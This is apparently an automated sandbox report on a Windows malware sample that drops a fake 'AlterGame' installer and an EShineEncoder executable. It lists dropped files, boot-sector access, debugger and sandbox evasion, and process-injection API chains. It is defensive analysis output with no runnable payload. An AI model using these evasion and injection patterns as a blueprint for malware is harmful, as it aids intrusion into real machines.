Source: sqlite3.dll.6.dr	Static PE information: section name: /102
Source: sqlite3.dll.6.dr	Static PE information: section name: /113
Source: sqlite3.dll.6.dr	Static PE information: section name: /124
Source: EShineEncoder.exe.6.dr	Static PE information: section name: _qrsa_4
Source: EShineEncoder.exe.6.dr	Static PE information: section name: _qrsb_4
Source: EShineEncoder.exe.6.dr	Static PE information: section name: _qrsc_4
Source: EShineEncoder.exe.6.dr	Static PE information: section name: _qrsd_4

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406795 push ecx; ret	0_2_004067A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056A0AF push esi; retf	0_2_0056A0BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056B165 push edi; retf	0_2_0056B166
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056B187 push esi; retf	0_2_0056B188
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056B6FE pushad ; ret	0_2_0056B6FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056D34D push ds; ret	0_2_0056D358
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056A3B4 push ebx; iretd	0_2_0056A3B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006470D6 push esp; retf	0_2_006470D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063397B push dword ptr [edi+03h]; retf	0_2_00633981
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00646AD8 push esp; retf	0_2_00646AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063AB57 push ecx; ret	0_2_0063AB6A
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_004065B8 push 004065F5h; ret	2_2_004065ED
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_004040B5 push eax; ret	2_2_004040F1
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_00408104 push ecx; mov dword ptr [esp], eax	2_2_00408109
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_00404185 push 00404391h; ret	2_2_00404389
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_00404206 push 00404391h; ret	2_2_00404389
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_0040C218 push eax; ret	2_2_0040C219
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_004042E8 push 00404391h; ret	2_2_00404389
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_00404283 push 00404391h; ret	2_2_00404389
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_00408F38 push 00408F6Bh; ret	2_2_00408F63
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0040993C push 00409979h; ret	3_2_00409971
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0040A037 push ds; ret	3_2_0040A038
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004941B8 push ecx; mov dword ptr [esp], ecx	3_2_004941BD
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004062B4 push ecx; mov dword ptr [esp], eax	3_2_004062B5
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004106C8 push ecx; mov dword ptr [esp], edx	3_2_004106CD
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00412920 push 00412983h; ret	3_2_0041297B
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00484BE8 push ecx; mov dword ptr [esp], ecx	3_2_00484BED
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0040D020 push ecx; mov dword ptr [esp], edx	3_2_0040D022
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004590F0 push 00459134h; ret	3_2_0045912C
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0040546D push eax; ret	3_2_004054A9
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00443438 push ecx; mov dword ptr [esp], ecx	3_2_0044343C

Source: altergame32.exe.3.dr	Static PE information: section name: _qrsa_4 entropy: 7.633010281787107
Source: EShineEncoder.exe.6.dr	Static PE information: section name: _qrsa_4 entropy: 7.633010281787107

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		6_2_00401A4F
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		6_2_02E4F8A2

Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	File created: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\is-PR9GR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	File created: C:\ProgramData\EShineEncoder\EShineEncoder.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\ltkrn13n.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\is-NKP4B.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PAB1[1].file	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\is-GSS65.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	File created: C:\ProgramData\EShineEncoder\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\bjpeg23.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\is-QDBOH.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ONE[1].file	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\uninstall\is-CUGJK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\is-28G11.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\LTDIS13n.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\is-HKUEM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\is-T3HEM.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\gdiplus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	File created: C:\Users\user\AppData\Local\AlterGame 1.13\sqlite3.dll (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	File created: C:\ProgramData\EShineEncoder\EShineEncoder.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	File created: C:\ProgramData\EShineEncoder\sqlite3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PAB1[1].file			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ONE[1].file			Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		6_2_00401A4F
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		6_2_02E4F8A2

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00423C04 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	3_2_00423C04
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00423C04 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	3_2_00423C04
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004241D4 IsIconic,SetActiveWindow,SetFocus,	3_2_004241D4
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0042418C IsIconic,SetActiveWindow,	3_2_0042418C
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0041837C IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	3_2_0041837C
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00422854 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	3_2_00422854
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00482EF8 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	3_2_00482EF8
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00417590 IsIconic,GetCapture,	3_2_00417590
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00417CC6 IsIconic,SetWindowPos,	3_2_00417CC6
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00417CC8 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	3_2_00417CC8

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Code function: 3_2_0041F110 GetVersion,SetErrorMode,LoadLibraryA,SetErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

3_2_0041F110

Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Memory allocated: E20000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Memory allocated: 1ADC0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Code function: 6_2_60920C91 rdtsc

6_2_60920C91

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		6_2_00401B4B
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		6_2_02E4F9A6

Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\bjpeg23.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\is-QDBOH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\is-PR9GR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\ltkrn13n.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\uninstall\is-CUGJK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\is-28G11.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\LTDIS13n.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\is-NKP4B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\is-HKUEM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\is-T3HEM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\is-GSS65.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\gdiplus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AlterGame 1.13\msvcp71.dll (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_2-5687

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_0-19430
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_6-60846
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_0-19879

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

API coverage: 5.5 %

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe TID: 420	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe TID: 420	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe TID: 4312	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe TID: 4312	Thread sleep time: -4260000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe TID: 396	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00452A34 FindFirstFileA,GetLastError,	3_2_00452A34
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00474D70 FindFirstFileA,FindNextFileA,FindClose,	3_2_00474D70
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00462578 FindFirstFileA,FindNextFileA,FindClose,	3_2_00462578
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004975B0 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	3_2_004975B0
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00463B04 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	3_2_00463B04
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_00463F80 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	3_2_00463F80

Source: C:\Users\user\Desktop\file.exe

0_2_00404250

Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe

Code function: 2_2_00409B30 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

2_2_00409B30

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: altergame32.exe, 00000006.00000002.3049094019.00000000036D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*k
Source: altergame32.exe, 00000006.00000002.3049094019.00000000036D2000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3047839093.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-19880
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	API call chain: ExitProcess graph end node	graph_2-6727
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	API call chain: ExitProcess graph end node	graph_6-61046

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_6-60742

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Code function: 6_2_60920C91 rdtsc

6_2_60920C91

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004080BA _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_004080BA

Source: C:\Users\user\Desktop\file.exe

0_2_00404530

Source: C:\Users\user\Desktop\file.exe

0_2_0040C415

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00567BE0 push dword ptr fs:[00000030h]		0_2_00567BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00630042 push dword ptr fs:[00000030h]		0_2_00630042

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Code function: 6_2_02E4648B RtlInitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetTickCount,GetVersionExA,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_malloc,_malloc,_malloc,QueryPerformanceCounter,Sleep,_malloc,_malloc,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,

6_2_02E4648B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405090 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00405090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004080BA _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004080BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040824A SetUnhandledExceptionFilter,	0_2_0040824A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407750 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00407750
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_02E59528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_02E59528

Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00630110 VirtualAlloc,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_00630110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Users\user\Desktop\file.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

